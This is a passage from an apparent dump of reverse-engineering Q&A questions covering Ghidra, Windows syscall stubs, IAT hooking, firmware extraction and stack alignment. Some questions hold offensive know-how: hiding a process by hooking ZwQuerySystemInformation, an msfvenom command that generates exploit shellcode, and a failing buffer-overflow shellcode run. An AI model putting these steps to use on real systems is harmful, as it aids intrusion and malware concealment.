flashrom. Unfortunately it's a pretty old one but I wanted to see what happens when I try to read out the Flash and I got the following output: + +Found Chip ""Generic unknown SPI chip (RDID)"" (0 KB, SPI) at physical address 0x0. +This flash part has status NOT WORKING for operations: PROBE READ ERASE WRITE + +I am a little bit confused right now, is there any other tool that I can use to read out the Flash or what can I do to access the content? + +Btw since the Flash is still soldered to the embedded system is it important to hold the system in reset? I read something about that but I didn't want to do that before understanding why this could be an issue. +" +['ghidra']," Title: Ghidra function pointers to another file in projectBody: Given a function pointer which is obtained dynamically using dlsym, how can I tell Ghidra that that pointer points to a function in another .so that I have open in same project for which I have already done some parameter renaming etc. +" +"['disassembly', 'windows', 'x86', 'x64dbg', 'x86-64']"," Title: What is the ending bytes in the MOV instruction in 32 bit applications in windows? (B8 mov)Body: So i just compared NTterminateProcess between 32 and 64 bit version of a program, and the mov instruction which moves the syscall into eax is almost the same, both 5 byte, (both the B8 mov) but the only difference is that the last 2 byte in the 32 bit version is some random number which is not even used as the syscall number, for example opcode is its B8 - 2C000700, but the 64 bit is B8 - 2C000000, and that last part is not even used in the syscall number, the number in both of them is 2C, so whats the deal with that last 2-3 byte? + +EDIT : yes it is in fact Wow64 process + +EDIT 2 : heres the picture, as you can see some of them have something in the last 2 byte which is not part of syscall number, and for some reason only the ones that have their Zw shown have them, why!? also the rest of them are Zw functions as well, for example the black one is ZwQuerySystemInformation, but i dont get why its name is not showing! ( does it have anything to do with the last bytes of mov not having a number?) + +(Picture taken in x32dbg) + + + +EDIT3: + +
77C61FF0 | B8 36000000              | mov eax,36                                                                                     | 36:'6'
+77C61FF5 | BA 508CC777              | mov edx,ntdll.77C78C50                                                                         |
+77C61FFA | FFD2                     | call edx                                                                                       |
+77C61FFC | C2 1000                  | ret 10                                                                                         |
+77C61FFF | 90                       | nop                                                                                            |
+77C62000 | B8 37000000              | mov eax,37                                                                                     | 37:'7'
+77C62005 | BA 508CC777              | mov edx,ntdll.77C78C50                                                                         |
+77C6200A | FFD2                     | call edx                                                                                       |
+77C6200C | C2 0C00                  | ret C                                                                                          |
+77C6200F | 90                       | nop                                                                                            |
+77C62010 | B8 38000000              | mov eax,38                                                                                     | 38:'8'
+77C62015 | BA 508CC777              | mov edx,ntdll.77C78C50                                                                         |
+77C6201A | FFD2                     | call edx                                                                                       |
+77C6201C | C2 1400                  | ret 14                                                                                         |
+77C6201F | 90                       | nop                                                                                            |
+77C62020 | B8 39001B00              | mov eax,1B0039                                                                                 |
+77C62025 | BA 508CC777              | mov edx,ntdll.77C78C50                                                                         |
+77C6202A | FFD2                     | call edx                                                                                       |
+77C6202C | C2 2800                  | ret 28                                                                                         |
+77C6202F | 90                       | nop                                                                                            |
+77C62030 | B8 3A000000              | mov eax,3A                                                                                     | 3A:':'
+77C62035 | BA 508CC777              | mov edx,ntdll.77C78C50                                                                         |
+77C6203A | FFD2                     | call edx                                                                                       |
+77C6203C | C2 1400                  | ret 14                                                                                         |
+77C6203F | 90                       | nop                                                                                            |
+77C62040 | B8 3B000000              | mov eax,3B                                                                                     | 3B:';'
+77C62045 | BA 508CC777              | mov edx,ntdll.77C78C50                                                                         |
+77C6204A | FFD2                     | call edx                                                                                       |
+77C6204C | C2 0C00                  | ret C                                                                                          |
+77C6204F | 90                       | nop                                                                                            |
+77C62050 | B8 3C000000              | mov eax,3C                                                                                     | 3C:'<'
+77C62055 | BA 508CC777              | mov edx,ntdll.77C78C50                                                                         |
+77C6205A | FFD2                     | call edx                                                                                       |
+77C6205C | C2 1C00                  | ret 1C                                                                                         |
+77C6205F | 90                       | nop                                                                                            |
+77C62060 | B8 3D000000              | mov eax,3D                                                                                     | 3D:'='
+77C62065 | BA 508CC777              | mov edx,ntdll.77C78C50                                                                         |
+77C6206A | FFD2                     | call edx                                                                                       |
+77C6206C | C2 0800                  | ret 8                                                                                          |
+77C6206F | 90                       | nop                                                                                            |
+77C62070 | B8 3E000300              | mov eax,3003E                                                                                  |
+77C62075 | BA 508CC777              | mov edx,ntdll.77C78C50                                                                         |
+77C6207A | FFD2                     | call edx                                                                                       |
+77C6207C | C2 0400                  | ret 4                                                                                          |
+
+" +"['windows', 'x86', 'x86-64', 'security', 'windows-10']"," Title: Why address 7FFE0308 always gets compared in 64bit applications before making a syscall in Ntdll?Body: So there was a question asked before about this : + +What are the difference syscall and int 0x2E instructions? + +and it has two answer, one says that is just a way to check if we are in a 32 bit or 64 bit windows! + +if this is the actual answer, then why do we need to check if we are in a 32 bit system in a 64 bit app! it wont even start if its in a 32 bit system, and this check doesn't happen on the 32 bit version of the app + +and if the other answer is true, then i couldn't find anything clear on the relation of this address and ""virtualization security"", can anyone elaborate a bit more on this? why is this check happens? : + +
test    byte ptr ds:7FFE0308h, 1
+jnz     short loc_a
+syscall
+retn
+
+" +"['x86', 'decompilation', 'ghidra', 'symbols', 'debugging-symbols']"," Title: How to add symbols from open source lib to Ghidra?Body: I have a binary which I can tell is using rapidjson (open source C++ library) (header only/not dynamically linked). How can I load debug symbols from that? It would help to see the types, function names, class names, etc. from the code calling the library. + +Other than by manually hunting down and changing signatures in the decompiled code. There must be an easier way. + +(If there's a way to do this in IDA, I can switch to that instead, just for this.) +" +"['debuggers', 'windbg']"," Title: Issues with Symbols when running windbg on windows xp sp3Body: I have been trying to debug a crash using windbg on windows xp sp3. I have been getting the below error while trying to debug. I googled around and found the Microsoft no longer offers symbols exe as downloads and we need to link the MS symbols server in windbg. I tried that route too, but still failed to get rid of this error. + +ERROR: Symbol file could not be found. Defaulted to export symbols for ntdll.dll - +ntdll!DbgBreakPoint + +Is there a way I can download the symbols for windows xp sp3 on to my local machine and then run the windbg. +" +"['windows', 'x86', 'malware', 'x64dbg', 'x86-64']"," Title: How to hide a process from all the methods of getting the list of processes?Body: So it seems that there are a lot of ways of getting the process list, although I'm not sure whether in the low level do they acquire them from same place or not + +so these are the ways i know : + +
    +
  1. QuerySystemInformation (Zw or Nt)
  2. +
  3. some place in the TEB which is pointed by FS register
  4. +
  5. CreateToolhelp32Snapshot
  6. +
+ +and i guess there are more ways too + +so my questions are : + +
    +
  1. do these methods use the same structure/linked list in the virtual memory of the process or they might use different methods?
  2. +
  3. If i hook the ZwQuerySystemInformation, will this stop the process from getting the list of processes? if not, then how can i be sure that a process cannot get the list? which functions should i hook or modify?
  4. +
+" +"['malware', 'networking', 'virtual-machines']"," Title: Difficulty obtaining malware trafficBody: I'm trying to get a particular piece of malware to beacon, and I have my box connected to remnux, with inetsim and fakedns running. Using this setup I have been able to acquire good pcap from most samples, but this one is a bit vexing. + +I can see that my sample is reaching out over TCP to the correct C2 server, but ICMP returns ""destination unreachable (network unreachable)"". I went ahead and used route/iptables as described in this post: https://techanarchy.net/blog/installing-and-configuring-inetsim but now I'm finding it difficult to find the traffic since it's all to my IP in wireshark, and it seems to be ssl encrypted. + +Where do I go from here? +" +"['windows', 'assembly', 'x86', 'c']"," Title: Can we hook the Nt or Zw functions using IAT hooking, or just inline hooking?Body: So i was trying to hook the ZwQuerySystemInformation or NtZwQuerySystemInformation using IAT, but i found out that these are not inside the IAT inside the memory nor in the PE file + +but maybe i am not importing them properly in my code? because in my sample code which I'm trying to hook I'm basically doing this to get its address : + +
ZwQuerySystemInformation = (NTSTATUS(__stdcall*)(int, PVOID, ULONG_PTR, PULONG_PTR))GetProcAddress(GetModuleHandle(L""ntdll.dll""), ""NtQuerySystemInformation"");
+
+ZwQuerySystemInformation(SystemProcessInformation, NULL, NULL, &size);
+
+ +So my question : + +
    +
  1. am i using the function wrong in my code and thats why its not IAT? do programs like task manager find the address of it and use it different?
  2. +
  3. is it possible to do IAT hooking with Nt and Zw functions? if not, why? I mean why its not getting included in IAT? doesn't the loader need to fix the addresses of functions just like any other library that we use?
  4. +
  5. Why can we use functions like Sleep() without doing stuff like above code and don't need to find its address, but when i try to use ZwQuerySystemInformation or the Nt one, i basically get a segment fault because it tries to access it from address 0 but compiler still recognizes it? if ntdll gets imported into all processes then why can't we get its address automatically?
  6. +
+" +"['calling-conventions', 'arguments']"," Title: Lack of arguments before a CALL instructionBody: I'm reversing an open-source windows application written in C++. I found in the disassembler the desired function that I'm trying to understand its behavior. + +In the code this function is defined as follow: + +
void ProtocolGame::sendUseItem(const Position& position, int itemId, int stackpos, int index)
+{
+    OutputMessagePtr msg(new OutputMessage);
+    msg->addU8(Proto::ClientUseItem);
+    addPosition(msg, position);
+    msg->addU16(itemId);
+    msg->addU8(stackpos);
+    msg->addU8(index);
+    send(msg);
+}
+
+ +As you can see, this function has 4 parameters, but in assembly code it only pushes 2 args. See picture below. + + + +What is going on with this CALL procedure? Shouldn't it have 4 arguments? +" +"['ida', 'bios', 'uefi']"," Title: removing bios wireless white listingBody: I am trying to remove the white listing for wireless cards from my Thinkpad L540 running Debian Buster. I did the following steps: + +
    +
  1. booted with kernel parameter iomem=relaxed
  2. +
  3. used pawn to dump BIOS
  4. +
  5. made multiple dumps and compared the md5sum to be sure I have a valid dump
  6. +
  7. I opened the BIOS dump with UEFITool
  8. +
  9. searched for the string ""Unauthorized network card....""
  10. +
  11. I found the PE32 image section and extracted the body. It is an efi file
  12. +
  13. opened the file with IDA free and searched for the hex to find the function.
  14. +
+ +This is the produced file from IDA: + +I don't know how to get the graph view. I am not sure what to change exactly. But I think this is the relevant part: + +
sub_6FC proc near
+
+var_148= qword ptr -148h
+var_140= qword ptr -140h
+var_138= qword ptr -138h
+var_130= qword ptr -130h
+var_128= byte ptr -128h
+var_F8= byte ptr -0F8h
+arg_0= qword ptr  8
+arg_8= qword ptr  10h
+
+mov     rax, rsp
+mov     [rax+8], rbx
+push    rdi
+sub     rsp, 160h
+lea     r8, [rax+10h]
+mov     rax, cs:qword_1040
+mov     rbx, rcx
+lea     rcx, qword_458+8
+xor     edx, edx
+call    qword ptr [rax+140h]
+xor     edi, edi
+cmp     rax, rdi
+jl      loc_7FF
+mov     edx, [rbx+4]
+movzx   r9d, word ptr [rbx]
+cmp     edx, 0FFFFFFFFh
+jnz     short loc_75D
+movzx   eax, word ptr [rbx+2]
+lea     r8, a04x04x     ; ""%04x/%04x""
+lea     edx, [rdi+28h]
+lea     rcx, [rsp+168h+var_128]
+mov     dword ptr [rsp+168h+var_148], eax
+call    sub_F9C
+jmp     short loc_78E
+
+loc_75D:
+movzx   ecx, word ptr [rbx+2]
+movzx   eax, word ptr [rbx+4]
+shr     edx, 10h
+mov     dword ptr [rsp+168h+var_138], edx
+mov     dword ptr [rsp+168h+var_140], eax
+mov     dword ptr [rsp+168h+var_148], ecx
+lea     rcx, [rsp+168h+var_128]
+lea     r8, a04x04x04x04x ; ""%04x/%04x/%04x/%04x""
+mov     edx, 28h ; '('
+mov     di, 1
+call    sub_F9C
+
+loc_78E:
+mov     r8, cs:off_298
+lea     r9, [rsp+168h+var_128]
+lea     rcx, [rsp+168h+var_F8]
+mov     edx, 0F0h ; 'ð'
+call    sub_F9C
+mov     rax, cs:qword_2A0
+mov     r9d, dword ptr cs:qword_280+0Ch
+mov     r8d, dword ptr cs:qword_280+8
+mov     ecx, dword ptr cs:qword_280
+mov     [rsp+168h+var_130], rax
+lea     rax, [rsp+168h+var_F8]
+movzx   edx, di
+add     edx, dword ptr cs:qword_280+4
+mov     [rsp+168h+var_138], rax
+mov     rax, cs:off_290
+mov     [rsp+168h+var_140], rax
+mov     rax, cs:qword_1028
+mov     [rsp+168h+var_148], rax
+mov     rax, [rsp+168h+arg_8]
+call    qword ptr [rax+8]
+
+loc_7FF:
+mov     rbx, [rsp+168h+arg_0]
+add     rsp, 160h
+pop     rdi
+retn
+sub_6FC endp
+
+ +And I thought of replacing the jl loc_7FF to jmp loc_7FF. But I am not sure if this is correct. + +I don't know how to provide the graph view. + +Thanks for the help +" +"['windows', 'x86', 'patching', 'patch-reversing', 'x86-64']"," Title: Does the loader fill the IAT table of an .exe in load time by checking the corresponding export tables or during run time?Body: I came upon this question : + +Can we hook the Nt or Zw functions using IAT hooking, or just inline hooking? + +and it got me wondering, lets say for some reason some function was not in the IAT of our target PE in virtual memory, like the above question which is Zw/NtQuerySystemInformation (I'm still not sure why this is not included in IAT tho), so in this case if we wanted to hook the IAT, would it be possible to hook the export table of kernel32.dll or ntdll.dll and do it like that instead? because i assume this function has to be there at least + +so this takes me back to the question, will the loader fill our IAT when its loading the PE into memory by checking the export tables, or when our program uses it? because if its the first case then I assume there is no way to hook the export table right? + +also does anyone know why functions like ZwQuerySystemInformation dont get included in IAT but stuff like Sleep and GetProcAddress Does? +" +"['disassembly', 'firmware', 'decryption', 'python']"," Title: Decrypting the Config file of a Huawei router ""HG630 V2""Body: followed that post from Wordpress + +
+ https://hg658c.wordpress.com/2017/12/04/decrypting-configuration-files-from-other-huawei-home-gateway-routers/ +
+ +Extracted the 4 Hex strings needed. But, looks like there is a twist. the IV is 64 bits long.. so the .Py script he shared gives an error that the IV is too long. + +uploaded the 4 files (GetInfo 1 through 4) and the extractkey.py script. also included is the output from that script as a proof. + +
+ https://drive.google.com/drive/folders/1hLF1I9lpB8etVNDGcuocoCmTpM6GciGJ +
+ +EDIT : can anyone get me in contact with that person on the wordpress ? Maybe he can help +" +"['firmware', 'arm', 'binwalk']"," Title: Reverse Engineering Firmware Aether ConeBody: I have been trying to work out if its possible to reverse engineer the firmware for the Aether Cone. This is a good sound quality WIFI and Bluetooth speaker, but with Aether going bust, there is no support only a final firmware that enabled spotify. + +What Information I currently know: + + + +Investigation: +I have tried using binwalk to examine and extract the files but I have had limited success. + +
$ binwalk FRM000104.03.01.0013.morse
+
+DECIMAL       HEXADECIMAL     DESCRIPTION`
+
+--------------------------------------------------------------------------------
+
+27842795      0x1A8D8EB       StuffIt Deluxe Segment (data): f
+30729686      0x1D4E5D6       MySQL MISAM compressed data file Version 7
+57321984      0x36AAA00       POSIX tar archive, owner user name: ""ader.img""
+
+ +I have extracted the firmware to give this: + +
ls -larth _FRM000104.03.01.0013.morse-0.extracted/
+total 29M
+-rw-rw-r--  1    500   501   27 Oct  2  2015 version.txt
+-rw-rw-r--  1    500   501  256 Oct  2  2015 signature.sha256
+-rwxr-xr-x  1    500   501   12 Oct  2  2015 pre-inst.sh
+-rwxr-xr-x  1    500   501  184 Oct  2  2015 post-inst.sh
+-r--r-----  1    500   501 1.9K Oct  2  2015 cert.pem
+-rw-rw-r--  1    500   501   31 Oct  2  2015 bootloader.ver
+-rw-rw-r--  1    500   501 221K Oct  2  2015 bootloader.img
+-rw-r--r--  1    root  root 29M Sep  8 08:06 1A8D8EB.sit
+-rw-r--r--  1    root  root 231K Sep 8 08:07 36AAA00.tar
+
+ +If I try and read these, there is nonsense. So I tried using strings, but I cannot get anything useful out of this: + +
# strings version.txt
+# strings post-inst.sh
+    ^       Gj
+    p8-wR
+# strings pre-inst.sh
+# strings signature.sha
+256
+=DHri,
+Z@pH
+A9!J8a
+# strings cert.pem
+W69)
+fPq2
+:)M7
+vj%<u
+)s|5
+];DE
+OEFvD(
+C""s6m
+-T}1
+Jjw-
+FkY'
+(Z4G
+bf<`
+]*$+
+?j[\
+CVBG
+p%XMi
+|[q:
+1nQ^
+NAf&
+' f&K
+pt[679
+# strings bootloader.ver
+
+ +I would appreciate some assistance as I have definitely run out of ideas and talent now. My main aim would be to either get the root password as ssh is open on the device or be able to edit the firmware file to allow root so that I can update packages and hopefully keep this thing alive, people have had issues with the spotify connect plugin not working with more recent spotify versions. +" +"['disassembly', 'debuggers', 'disassemblers', 'x64dbg']"," Title: Difference between 32 bit and 64 bit disassemblersBody: As far as my level of understanding goes, the only difference between a 32 bit and 64 bit disassembler is that the produced assembler-code of a 32 bit disassembler is only using 32 bit assembly instructions, while a 64 bit disassembler also makes use of 64 bit instructions and registers. + +My questions is, what are the advantages of using a 64 bit disassembler over a 32 bit disassembler? + +Furthermore, if I want to disassemble a program compiled for a 64 bit machine, can I use a 32 bit disassembler like OllyDBG for that and what how would the output differ from a 64 bit disassembler like x64dbg? +" +"['android', 'executable', 'apk']"," Title: Is there a way to reverse engineer this small tool ""website2apk"" and design my own?Body: +I recently came across this tool and was amazed by its size and how it can build release-apk, without even bothering about Android development environment set up on the machine, neither Cordova nor Android Studio is required. + +A bit of research showed me that the what this tool is doing is simple (most related material I found was of 2008-2014). + +Being new in reverse engineering, I wonder if there is a way I can understand its workaround and build a similar tool to automate my Cordova projects. +" +['binary-analysis']," Title: How to find sequence of numbers from 0-9 in a binary file?Body: I'd like to find a sequence of values in a 32MB data stream, where the values are all between 0x00 and 0x09 and there are about 20-40 of them in a row. + +Maybe this can be done with Hex Workshop, but i have no clue how... +" +"['disassembly', 'radare2', 'arm', 'mips', 'angr']"," Title: Get certain instruction count for multi-architecture binariesBody: I need to get an ELF binary's total count of + +
    +
  1. Function call instruction
  2. +
  3. conditional jump (branch) instruction
  4. +
+ +The binary could be any CPU architecture, like x64, ARM, MIPS, Motorola 68K, etc. + +It would be best if the disassembly tool can provide an intermediate representation/language. + +I found there are several candidate options for that, like IDA Pro, Binary Ninja, Radare2, Capstone, Angr, Bap. + +Finally feel Radare2 is a good tool to implement that. +But I searched on the Internet, most tutorials show how to investigate specific code pieces for a specific function (e.g., main). +How to directly get the whole IR (called ESIL) after disassembly? + +Or any suggestions on accomplishing this task? +" +['radare2']," Title: radare2 memory changing in debug modeBody: I have tiny program: + +
        0x08048080      66a1a0900408   mov ax, word loc.name       
+        0x08048086      66bbafbe       mov bx, 0xbeaf
+        0x0804808a      66891da09004.  mov word loc.name, bx    ; [0x80490a0:2]=0xdead
+
+        0x08048091      31c0           xor eax, eax
+        0x08048093      66a1a0900408   mov ax, word loc.name       
+        0x08048099      b801000000     mov eax, 1
+        0x0804809e      cd80           int 0x80
+        0x080480a0      ad             lodsd eax, dword [esi]
+        0x080480a1      de00           fiadd word [eax]
+
+ +when program changing memory: + +0x0804808a 66891da09004 mov word loc.name, bx ; [0x80490a0:2]=0xdead + +memory dump (with px @ 0x80490a0) not changed + +is there possible to view memory change in real time when debugging? + +thanks! +" +"['assembly', 'c++']"," Title: Understanding RE output of a simple C++ programBody: I am trying to learn RE and I decided to explore this field by reverse engineering a simple C++ program, which I post here: + +SIMPLE C++ PROGRAM + +
#include <iostream>
+
+int main()
+{
+    int value;
+    std::cout << ""Hello Word"";
+    std::cin >> value;
+
+    return 0;
+}
+
+ +I compiled it using MSVC compiler (VS 2017, x86 build). I wanted to understand the assembly language behind it. + +For RE I use Ghidra tool. I am currently focused only on understanding the assembly part, rather than Decompiled part, because that one makes less sense to me at the moment, but mayber if I understand the Assembly part, I would be able to decode the decompiled output. + +ASSEMBLY OUTPUT: + +
                     //
+                     // .text 
+                     // ram: 00401000-00401f9a
+                     //
+                     **************************************************************
+                     *                          FUNCTION                          *
+                     **************************************************************
+                     int __cdecl main(void)
+     int               EAX:4          <RETURN>
+     int               EAX:4          value                                   XREF[1]:     00401032(W)  
+     char *            Stack[-0x8]:4  hello_string                            XREF[2]:     0040100d(W), 
+                                                                                           0040102b(R)  
+     undefined1        Stack[-0xc]:1  local_c                                 XREF[1]:     00401021(*)  
+                     .text$mn                                        XREF[3]:     0040012c(*), 00400204(*), 
+                     main                                                         __scrt_common_main_seh:00401500(
+00401000 55              PUSH       EBP
+00401001 8b ec           MOV        EBP,ESP
+00401003 83 ec 08        SUB        ESP,0x8
+00401006 a1 04 30        MOV        EAX,[___security_cookie]                         = BB40E64Eh
+         40 00
+0040100b 33 c5           XOR        EAX,EBP
+0040100d 89 45 fc        MOV        dword ptr [EBP + hello_string],EAX
+00401010 8b 0d 54        MOV        ECX,dword ptr [->MSVCP140.DLL::std::cout]        = 000027ec
+         20 40 00
+00401016 e8 25 00        CALL       std::operator<<<struct_std::char_traits<char>_>  basic_ostream<char,struct_std::c
+         00 00
+0040101b 8b 0d 4c        MOV        ECX,dword ptr [->MSVCP140.DLL::std::cin]         = 0000284a
+         20 40 00
+00401021 8d 45 f8        LEA        EAX=>local_c,[EBP + -0x8]
+00401024 50              PUSH       EAX
+00401025 ff 15 34        CALL       dword ptr [->MSVCP140.DLL::std::basic_istream<
+         20 40 00
+0040102b 8b 4d fc        MOV        ECX,dword ptr [EBP + hello_string]
+0040102e 33 c0           XOR        EAX,EAX
+00401030 33 cd           XOR        ECX,EBP
+00401032 e8 fe 02        CALL       @__security_check_cookie@4                       undefined @__security_check_cook
+         00 00
+00401037 8b e5           MOV        ESP,EBP
+00401039 5d              POP        EBP
+0040103a c3              RET
+
+ +I am trying to follow the assembly code line by line. I understand some basics of the registers mentioned there and stack allocation, but I get lost during the dword ptr MOV instructions and then that CALL instruction. + +if anyone could please elaborate to me what is happening actually there, I will start to better understand how to approach assembly code when doing RE tasks. +" +"['ida', 'hexrays']"," Title: How to migrate IDA/HexRays database to the new version of the same application?Body: I have an .idb and PE file of an old version of an application. Now I want to transfer all knowledge to a new database for the new version of PE. How can I do this? + +It seems that I need to compare all the functions and move the information if their contents match (the addresses may be different). How to do this? + +It is clear that I need to calculate the hash from each function, find the intersections, and then compare the matched functions byte-to-byte. It's about whether there are ready-made tools for this? +" +"['assembly', 'arm']"," Title: How is `va_list` implemented in Assembler level on ARMv7 Android?Body: I need to extract all arguments from CallStaticObjectMethodV JNI call on ARMv7 Android at Assembler level. + +Can anyone advice how is va_list implemented on low level in ARMv7 Android? +" +"['kernel-mode', 'stack', 'kernel', 'system-call']"," Title: How large are privileges of linux kernel module?Body: I know that kernel modules are practically part of the kernel since it gets loaded inside it. But I am not sure if it really gets all privileges the system has. Can it read/write code inside the kernel without segfaults, etc.? I want to use kernel module for unwinding the stack to kernel level to backtrace every function my program calls. +" +['buffer-overflow']," Title: The hex codes in being replaced while finding bad characters for Buffer overflowBody: I am facing problem in finding bad characters because the hex codes are being replaced with \x3F & some other codes. + + + +Here I have all the 256 hex chars from \x01 to \xFF and as you can see many of the hex char is being replaced with \x3F and other chars and hence I am not able to figure out the bad chars. + +I tried to figure out the bad chars & the chars which are being replaced, which are: + +
\x00\x0a\x0d\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e\x91\x92\x93\x94\x95\x95\x97\x98\x99\x9a\x9b\x9c\x9e\x9f\xa4\xa6\xa8\xb4\xb8\xbc\xbd\xbe
+
+ +Then I used msfvenom to generate the shellcode but getting below result. + +
$msfvenom -a x86 --platform windows -p windows/exec cmd=cmd.exe -b '\x00\x0a\x0d\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e\x91\x92\x93\x94\x95\x95\x97\x98\x99\x9a\x9b\x9c\x9e\x9f\xa4\xa6\xa8\xb4\xb8\xbc\xbd\xbe' -f c
+Found 11 compatible encoders
+Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
+x86/shikata_ga_nai failed with A valid opcode permutation could not be found.
+Attempting to encode payload with 1 iterations of generic/none
+generic/none failed with Encoding failed due to a bad character (index=3, char=0x00)
+Attempting to encode payload with 1 iterations of x86/call4_dword_xor
+x86/call4_dword_xor failed with A valid encoding key could not be found.
+Attempting to encode payload with 1 iterations of x86/countdown
+x86/countdown failed with Encoding failed due to a bad character (index=84, char=0x0d)
+Attempting to encode payload with 1 iterations of x86/fnstenv_mov
+x86/fnstenv_mov failed with A valid encoding key could not be found.
+Attempting to encode payload with 1 iterations of x86/jmp_call_additive
+x86/jmp_call_additive failed with Encoding failed due to a bad character (index=15, char=0x85)
+Attempting to encode payload with 1 iterations of x86/xor_dynamic
+Error: Bad character found in stub for the Dynamic key XOR Encoder encoder.
+
+" +"['disassembly', 'malware', 'decryption']"," Title: Recognize a decryption algorithmBody: I'm trying to reverse a malware that builds its IAT at runtime. Due to my inexperience, I'm having trouble to understand this function that accepts into EAX a dword (maybe some sort of hash) and into EDX the base address of kernel32.dll. Could you point me how can I work it out? I can't use the decompiler right now. + + +" +"['disassembly', 'debugging', 'tracing', 'compare']"," Title: Is there a way to trace the differences of a software in x64dbg?Body: Why does Immunity Debugger unable to start my application? I want to compare the differences of a software: Immunity Debugger can trace all assembly instruction with the Add entries of all procedures option (Run trace --> Add entries of all procedures) and saves it to *.txt file (Run trace --> Log to file). I want to know if I can do the same in x64dbg? +" +"['binary-analysis', 'firmware', 'linux', 'arm', 'binwalk']"," Title: Extracting firmware image from binaryBody: I have firmware file in .bin format, but I need get firmware.img image file and Kernel uImage file for reflashing bricked device. How can I get these parts? + +I used Binwalk to extract content, binwalk -e file: +it extracted two binaries, 8.5MB with 180188.squashfs extension and another binary 3.1MB, and squashfs-root directory with subfolders. + +
DECIMAL       HEXADECIMAL     DESCRIPTION
+--------------------------------------------------------------------------------
+392           0x188           uImage header, header size: 64 bytes, header CRC: 0xEF73A583, created: 1969-12-31 23:59:59, image size: 1572736 bytes, Data Address: 0x20008000, Entry Point: 0x20008000, data CRC: 0x3661C6EC, OS: Linux, CPU: ARM, image type: OS Kernel Image, compression type: none, image name: ""SP2Xcybertan_rom_bin""
+13596         0x351C          gzip compressed data, maximum compression, from Unix, last modified: 2019-04-03 05:25:36
+1573192       0x180148        uImage header, header size: 64 bytes, header CRC: 0x9053B22D, created: 1969-12-31 23:59:59, image size: 8474624 bytes, Data Address: 0x0, Entry Point: 0x0, data CRC: 0xFC8655E0, OS: Linux, CPU: ARM, image type: Filesystem Image, compression type: none, image name: ""SP2Xcybertan_rom_bin""
+1573256       0x180188        Squashfs filesystem, little endian, non-standard signature, version 3.1, size: 8473072 bytes, 1028 inodes, blocksize: 131072 bytes, created: 2019-04-03 05:36:06
+
+ +Download file. +" +"['disassembly', 'x86', 'memory', 'stack']"," Title: x86 main preamble makes stack aligned on 32-bytes boundariesBody: For the record, I've read all stackexchange relevant answers on the topic (here and here) plus other articles to fully grasp the concepts of memory alignment and CPU natural boundaries.
+But for some reason, I just can't understand the meaning of the following main preamble (given out by radare2) + +
(fcn) sym.main 99
+|   sym.main (int argc, char **argv, char **envp);
+|           ; var int local_78h @ ebp-0x78
+|           ; arg int arg_10h @ ebp+0x10
+|           ; var int local_4h @ esp+0x4
+|           ; DATA XREF from entry0 (0x8048417)
+|           0x0804867d      55             push ebp
+|           0x0804867e      89e5           mov ebp, esp
+|           0x08048680      81ec88000000   sub esp, 0x88
+|           0x08048686      83e4f0         and esp, 0xfffffff0
+|           0x08048689      b800000000     mov eax, 0
+|           0x0804868e      83c00f         add eax, 0xf
+|           0x08048691      83c00f         add eax, 0xf
+|           0x08048694      c1e804         shr eax, 4
+|           0x08048697      c1e004         shl eax, 4
+|           0x0804869a      29c4           sub esp, eax
+
+ +
+ +

Breakdown

+ +There seems to be a local array on the stack frame that takes up 78h = 120d bytes on the stack, indicated by this line : + +
|           ; var int local_78h @ ebp-0x78
+
+ +So far so good.
+Now the stack pointer is moved to make space for such an array on the stack, manipulating esp to make sure the stack is aligned on 16-bytes boundaries : + +
|           0x08048680      81ec88000000   sub esp, 0x88
+|           0x08048686      83e4f0         and esp, 0xfffffff0
+
+ +Which effectively makes esp a multiple of at least 16 (least significant nibble zeroed out), but let's for the sake of mathematical rigor say that esp is now a multiple of 16k, with k an arbitrary integer.
+All this makes perfect sense (see here and here to fully understand the need for 16-bytes stack alignment, having to do with SSE and whatnot).
+Now what I really can't seem to wrap my head around is the relevance of the subsequent instructions : + +
|           0x08048689      b800000000     mov eax, 0
+|           0x0804868e      83c00f         add eax, 0xf
+|           0x08048691      83c00f         add eax, 0xf
+|           0x08048694      c1e804         shr eax, 4
+|           0x08048697      c1e004         shl eax, 4
+|           0x0804869a      29c4           sub esp, eax
+
+ +Which as far as I could understand :
+1 - Made eax equal to 10h (by the way why all these instructions to get to such a simple result for eax ? Why not just make a mov eax, 0x10 ?)
+2 - Subtract that quantity from esp, which is just gonna zero out the least significant 1 bit in esp (given that the first nibble is null anyway) which is just gonna make esp a multiple of 16(k+1), thus making the stack aligned on 32-bytes boundaries if it was aligned on 16-bytes boundaries, or make it aligned on 64-bytes boundaries if it was aligned on 32-bytes boundaries, and so on and so forth. + +What do we need that for ?
+Is there something I got wrong in this whole analysis ? +" +"['decompilation', 'java', 'byte-code']"," Title: Java reverse engineering toolBody: I'm getting started on Java reverse engineering but I can't find a great tool. I'm currently using JD-Gui to decompile it. + +I've tried PNF's JEB which is really perfect but it's only for Android stuff. Is there anything similar for standard Java ? Preferably free because JEB costs a lot for someone who doesn't use it a lot... + +Some features I'd like would be decompilation of course but also class / variable renaming, find usage, and standard features you could find in IDEs.. +" +['buffer-overflow']," Title: Getting illegal access fault with error :The address 0xffdeb9f0 could not be accessed.""Body: Getting illegal access fault with error The address 0xffdeb9f0 could not be accessed. + +I am trying to execute a shellcode in buffer overflow vulnerability. I am able to put the shell code at the right place in the memory but it's not getting executed. + + + + +" +"['assembly', 'x86-64']"," Title: Understanding operand formsBody: 9(%rax, %rdx): What happens here? Is 9 the offset? and do you add the two registers together? + +I'm reading Randal E. Bryant and David R. O'Hallaran's ""Computer Systems - A programmer's Persepctive"" + +At page 209 we are presented with a table (Operand forms): + + + +
+ +It's then possible to do a little assignment where I have to fill the empty table with values. I tried my best but am stuck as you can see: + + + +9(%rax, %rdx). Is the 9 the offset? And do you add the two registers here? Not quite sure what to add. I would really appreciate if someone could walk me through the last empty values I need to fill. + +
+ +Below is the solutions: + + +" +"['linux', 'c++', 'gdb', 'crackme', 'asm']"," Title: Reverse getline(cin, text)Body: I'm trying to solve a crackme that was made in C++, and I was able to +""recreate"" a function call, through the library calls the program made. Here's the piece of code that I'm trying to reverse: + + + +
string text;
+getline(cin, text);
+
+ +And here's the asm equivalent (getline only): + + + +
lea    rax,[rbp-0x1c0]
+mov    rsi,rax
+mov    edi,0x6020c0
